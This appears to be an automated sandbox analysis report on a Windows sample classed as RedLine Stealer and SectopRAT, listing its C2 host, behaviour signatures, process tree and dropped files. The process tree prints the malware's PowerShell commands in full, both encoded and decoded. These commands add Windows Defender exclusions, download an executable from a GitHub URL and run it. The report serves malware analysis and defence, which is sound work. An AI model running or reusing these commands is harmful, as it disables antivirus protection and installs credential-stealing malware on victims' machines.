Analysis

  • max time kernel
    105s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250610-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/08/2025, 03:11

General

  • Target
    2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe
  • Size 974KB
  • Sample250829-dpyg7sysbv
  • SHA256 b49d73fd66670362b72f74cbfe4816329b8c74bcb9c6a56a2e962d8afd2c6bad
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • ALICE2

C2
  • pepesigmarespect.servemp3.com:25920

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • Redline family
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 2 IoCs
  • Sectoprat family
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5672
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAGIAdQBpAGwAZAAyADAALgBlAHgAZQAiACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBlAHUAYwBhADQAMAA0AC8AdABlAHMAdABwAGUAcABlAGMAaABlAGMAawBlAHIALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3624
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAGIAdQBpAGwAZAAyADAALgBlAHgAZQAiACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBlAHUAYwBhADQAMAA0AC8AdABlAHMAdABwAGUAcABlAGMAaABlAGMAawBlAHIALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5892
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:USERPROFILE -FORCE ; Add-MpPreference -ExclusionPath C:\WINDOWS -FORCE ; CURL -O "$env:TEMP\build20.exe" https://github.com/euca404/testpepechecker/raw/refs/heads/main/build20.exe ; START $env:TEMP\build20.exe ; START-SLEEP -Milliseconds 6000 ; Remove-Item -path $env:TEMP/build20.exe
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3740
          • C:\Users\Admin\AppData\Local\Temp\build20.exe
            "C:\Users\Admin\AppData\Local\Temp\build20.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2140

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 9dc625f0ca4b3d4caffcc47e640b71b09ffc42b30dc09a0c8df4a0031d4f1934
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_odrxz24v.vmu.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_odrxz24v.vmu.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        build20.exe

        • Path C:\Users\Admin\AppData\Local\Temp\build20.exe
        • Size 95KB
        • SHA256 2d18440cd33a632db4305a1cfc552facf7591668e83cf34c5851cc94afd78aa8
        • MD5 SHA1 SHA512 SSDEEP

        memory/2140-41-0x0000000004CC0000-0x0000000004CD2000-memory.dmp

        memory/2140-43-0x0000000004D60000-0x0000000004DAC000-memory.dmp

        memory/2140-47-0x0000000006AF0000-0x000000000701C000-memory.dmp

        memory/2140-46-0x00000000063F0000-0x00000000065B2000-memory.dmp

        memory/2140-44-0x0000000004FD0000-0x00000000050DA000-memory.dmp

        memory/2140-42-0x0000000004D20000-0x0000000004D5C000-memory.dmp

        memory/2140-39-0x0000000000310000-0x000000000032E000-memory.dmp

        memory/2140-40-0x00000000053F0000-0x0000000005A08000-memory.dmp

        memory/3740-17-0x000001B51B620000-0x000001B51B630000-memory.dmp

        memory/3740-16-0x000001B51B620000-0x000001B51B630000-memory.dmp

        memory/5672-14-0x0000000000400000-0x00000000004FF000-memory.dmp

        memory/5892-1-0x000001F6AD330000-0x000001F6AD340000-memory.dmp

        memory/5892-0-0x000001F6AD330000-0x000001F6AD340000-memory.dmp

        memory/5892-2-0x000001F6ADC60000-0x000001F6ADC82000-memory.dmp